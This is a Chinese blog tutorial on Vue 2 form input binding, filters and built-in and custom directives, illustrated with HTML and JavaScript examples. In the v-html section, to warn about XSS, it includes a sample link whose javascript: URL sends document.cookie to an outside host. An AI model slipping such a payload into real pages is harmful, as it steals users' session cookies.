笔触狂放9

这个屌丝很懒，什么也没留下！

热门标签

Vue2教程详解三（表单输入绑定、过滤器、指令）_vue链接绑定过滤条件

作者：笔触狂放9 | 2024-05-07 13:52:39

踩

vue链接绑定过滤条件

表单输入绑定

之前篇幅讲过使用v-model指令在表单<input>/<textarea>以及<select>元素上创建双向数据绑定，它会根据控件类型自动选取正确的方法来更新元素，其实就是将input输入的值value自动绑定，并更新数据。它就是语法糖，负责监听用户的输入事件以更新数据，并对一些极端场景进行一些特殊处理~

基础用法

表单分为input/textarea/select，input有text/checkbox/radio/password等类型，下面分别进行讨论


<div id="root">
        <form>
            账号：<input type="text" v-model="account"><br></br>
            密码：<input type="password" v-model="password"><br></br>
            性别：
            <input type="radio" name="sex" v-model="sex" value="male"> 男
            <input type="radio" name="sex" v-model="sex" value="female"> 女<br></br>
            爱好：
            <input type="checkbox" v-model="hobby" value="playPingPang">打乒乓球
            <input type="checkbox" v-model="hobby" value="sleep">睡觉
            <input type="checkbox" v-model="hobby" value="watchTV">看剧<br></br>
            所属地区：
            <select name="" id="" v-model="region">
                <option value="">请选择</option>
                <option value="Shanghai">上海</option>
                <option value="Beijing">北京</option>
                <option value="tianjin">天津</option>
                <option value="guangzhou">广州</option>
            </select> <br></br>
            补充说明：
            <textarea v-model="other"></textarea>
        </form>
 
    </div>
    <script>
        const vm = new Vue({
            el: "#root",
            data: {
                account: '',
                password: '',
                sex: '',
                hobby: [],
                region: 'Shanghai',
                other: ''
 
            }
        })
    </script>

对于类型为text、password的input框，以及select和textarea表单，这种有输入值的表单，默认v-model绑定的value值即输入值，所以无需再专门指定value值；

对于radio、checkbox来说，若不专门指定value值，由于前端并未输入内容，则虽然显示checked为true或false，但是实际的value值为null，因此要特别绑定value值，另外，对于多选框checkbox来说，若data中未定义绑定的数值为数组类型，则会出现选中一个，则其它多选框也会被选中的情况；（即单选框，绑定到布尔值，多选框，绑定到数组）

修饰符

v-model也可以加修饰符，如.lazy/.number/.trim

.lazy

在默认情况下，v-mode在每次input事件触发后将输入框的值立即与数据进行同步，若想在input输入完成后再同步，可以添加lazy修饰符，从而转化为在change事件（失去焦点）之后进行同步；

账号：<input type="text" v-model.lazy="account">

.number

由于输入框拿到的数据为字符串（即使在设置了标签为type='number'后，HTML输入元素的值也总会返回字符串），若想将用户的输入值转为数值类型，则要给v-model添加number修饰符后；

年龄<input v-model.number="age" type="number">

.trim

若想自动过滤用户输入的首尾空白字符，则要给v-model添加trim修饰符

账号：<input type="text" v-model.trim="account">

过滤器

过滤器能实现对要显示的数据进行特定格式化后再显示，它并没有改变原来的数据，直接产生了新的与之对应的数据；


<div id="root">
        <h3>当前时间戳是：{{time}}</h3>
        <h3>格式化处理后的时间是: {{time | timeFilter}}</h3>
 
    </div>
    <script>
        console.log(Date.now());
        const vm = new Vue({
            el: "#root",
            data: {
                time: 1643164727498,
            },
            filters: {
                timeFilter(value) {
                    return dayjs(value).format('YYYY年MM月DD日')
                }
            }
        })
    </script>

上述代码讲解：

{{time | timeFilter}}

上述代码中，time表示过滤器要处理的数据，中间为管道符|，后面为过滤器timeFilter，该方法的实现逻辑是指：将time作为参数传给timeFormater过滤器--->调用timeFormater过滤器--->将拿到的返回值给{{time|timeFormat}}，呈现页面；


filters: {
    timeFilter(value) {
        //此处的value是默认参数time
        return dayjs(value).format('YYYY年MM月DD日')
    }
}

过滤器函数若未加参数，则默认参数是管道符前面的属性，此处即time，若加了参数，则不仅有传入的参数，还有默认的管道符前面的属性；


<div id="root">
        <h3>当前时间戳是：{{time}}</h3>
        <h3>格式化处理后的时间是: {{time | timeFilter('YYYY年')}}</h3>
 
    </div>
    <script>
        console.log(Date.now());
        const vm = new Vue({
            el: "#root",
            data: {
                time: 1643164727498,
            },
            filters: {
                timeFilter(value, str) {
                    console.log(value); // value是默认参数
                    console.log(str); // str是YYYY年
                    return dayjs(value).format(str)
                }
            }
        })
    </script>

过滤器之间可实现串联操作，即将前一个过滤器的返回值作为默认参数传给下一个过滤器；


<div id="root">
        <h3>当前时间戳是：{{time}}</h3>
        <h3>格式化处理后的时间是: {{time | timeFilter('YYYY年MM月') | timeSlice(4)}}</h3>
 
    </div>
    <script>
        const vm = new Vue({
            el: "#root",
            data: {
                time: 1643164727498,
            },
            filters: {
                timeFilter(value, str) {
                    return dayjs(value).format(str)
                },
                timeSlice(value, num) {
                    return value.slice(0, num)
                }
            }
        })
    </script>

过滤器还可以用在v-bind上，用的不多

<input type="text" v-bind:id="rawId | formatId"></input>

全局过滤器

在创建vue实例全局定义过滤器：


 Vue.filter('capitalize', function(value) {
            if (!value) return ''
            value = value.toString()
            return value.charAt(0).toUpperCase() + value.slice(1)
        })

指令

内置指令

之前介绍过一些内置指令，如v-bind/v-model/v-for/v-on/v-if/v-else/v-show

v-bind：表示单向绑定解析表达式，可简写为:xxx；

v-model：表示双向数据绑定

v-for：遍历数组/对象/字符串

v-on：绑定事件监听，可简写为@

v-if：条件渲染（动态控制节点是否存在）

v-show：条件渲染（动态控制节点是否展示）

v-text：向其所在的节点中渲染文本内容，与插值语法的区别是v-text会替换掉整个节点中的内容，如：


<div id="root">
        <div v-text="name">你好</div>
        <!-- 只会展示出来 柳柳 -->
        <div>你好，{{ename}}</div>
        <!-- 展示出来 你好 -->
 
    </div>
    <script>
        const vm = new Vue({
            el: "#root",
            data: {
                name: '柳柳',
                ename: 'liu'
            }
        })
    </script>

v-html指令：可以向指定节点中渲染包含html结构的内容；它和v-text一样，也是会替换掉节点中所有的内容，并且可以识别html结构，但是v-html有安全性问题，因为在网站上动态渲染任意html是非常危险的，容易导致XSS攻击，一定要在可信的内容上使用v-html，而且不要在用户提交的内容上使用；


<div id="root">
        <div v-html="str">你好</div>
 
    </div>
    <script>
        const vm = new Vue({
            el: "#root",
            data: {
                str: '<a href=javascript:location.href="http://www.baidu.com?" + document.cookie>危险链接</a>',
            }
        })
    </script>

v-cloak指令：配合CSS使用，可以解决网速慢时页面展示出未经解析的模板（如{{xxx}}）问题；

没有值，直接使用v-cloak，在Vue实例创建完毕并接管容器后，会删掉v-cloak属性；


<style>
    [v-cloak] {
       display: none;
    }
</style>


<div id="root">
        <div v-cloak>{{name}}</div>
 
    </div>
    <script>
        const vm = new Vue({
            el: "#root",
            data: {
                name: 'xiaoming'
            }
        })
    </script>

v-once指令是指所在节点在初次动态渲染后，就视为静态内容，以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能；


 <div id="root">
        <h2 v-once>初始化的n值是： {{n}}</h2>
        <!-- 这个n值不会动态改变，只会在加载页面的时候动态改变一次，变为1 -->
        <h2>当前的n值是： {{n}}</h2>
        <button @click="n++">点我n+1</button>
    </div>
    <script>
        const vm = new Vue({
            el: "#root",
            data: {
                n: 1
            }
        })
    </script>

v-pre用于跳过没有使用指令语法、插值语法的节点，加快编译过程；

<h2 v-pre>马上放假喽~</h2>

自定义指令

除了核心功能默认内置的指令（v-model和v-show），Vue也允许注册自定义指令；自定义指令是个函数，但不会通过返回值形式拿到结果；有两种方式：定义回调函数方式与定义配置对象方式

定义回调函数

示例：定义一个v-amplify指令，和v-text功能类似，将绑定的数值放大10倍；


<div id="root">
        <h2>当前的n值是： {{n}}</h2>
        <h2>放大10倍后的n值是： <span v-amplify='n'></span></h2>
        <button @click="n++">点我n+1</button>
    </div>
    <script>
        const vm = new Vue({
            el: "#root",
            data: {
                n: 1
            },
            directives: {
                amplify(element, binding) {
                    // 定义指令的时候不加v-，使用的时候为v-xxx
                    console.log(element, binding);
                    // element即指令所绑定的元素，可以用来直接操作 DOM，binding是一个对象，表示元素与指令之间的绑定关系
                    element.innerText = binding.value * 10
                }
            }
        })
    </script>

官网上关于指令参数的介绍如下：

回调函数何时会被调用：指令与元素成功绑定时，即刚开始vue接管模板初始化的时候；在指令所在的模板被重新解析时也会被调用；

定义配置对象

示例：定义一个v-fbind指令，和v-bind功能类似，但可以使其所绑定的input元素默认获取焦点；

此时用函数方法，很难找到何时让其获得焦点的时刻，因为在绑定关系成立后，拿不到input输入框啥时候解析在页面的时刻，因为无法获得input框的焦点，基于此，采用配置对象方法；


<div id="root">
        <input type="text" v-fbind:value="n">
    </div>
    <script>
        const vm = new Vue({
            el: "#root",
            data: {
                n: 1
            },
            directives: {
                amplify(element, binding) {
                    // 定义指令的时候不加v-，使用的时候为v-xxx
                    console.log(element, binding);
                    // element即指令所绑定的元素，可以用来直接操作 DOM，binding是一个对象，表示元素与指令之间的绑定关系
                    element.innerText = binding.value * 10
                },
                fbind: {
                    // 该对象中可以放入很多函数，保证在每个时间点执行要做的函数,每个函数中的参数都是element与binding
                    bind(element, binding) {
                        // 指令与元素成功绑定时（即初始化时）
                        element.innerText = binding.value * 10
                    },
                    inserted(element, binding) {
                        // 指令所在元素被插入页面时
                        element.focus()
                    },
                    update(element, binding) {
                        // 指令所在的模板被重新解析时
                        element.value = binding.value
                    },
                }
            }
        })
    </script>

这三个函数：binding、inserted、update三个函数被称为钩子函数；官网介绍如下：

可以看出来第一种回调函数方法是第二种方法省略掉inserted方法的简写形式；

注意：

指令相关的函数中的this皆指向windows

指令名若是多个单词组成，则要使用kebab-case命名方式，不能用驼峰命名法，如:


'big-sum': {
    bind(element,binding){
    
    },
    inserted(element,binding){
    
    },
    update(element,binding) {
    
    }
},
或
'big-sum'(element,binding) {
                    
}

全局指令

在创建vue实例全局定义指令：上述两种方法分别对应如下：


Vue.directive(指令名，配置对象)
或
Vue.directive(指令名，回调函数)

声明：本文内容由网友自发贡献，不代表【wpsshop博客】立场，版权归原作者所有，本站不承担相应法律责任。如您发现有侵权的内容，请联系我们。转载请注明出处：https://www.wpsshop.cn/w/笔触狂放9/article/detail/549568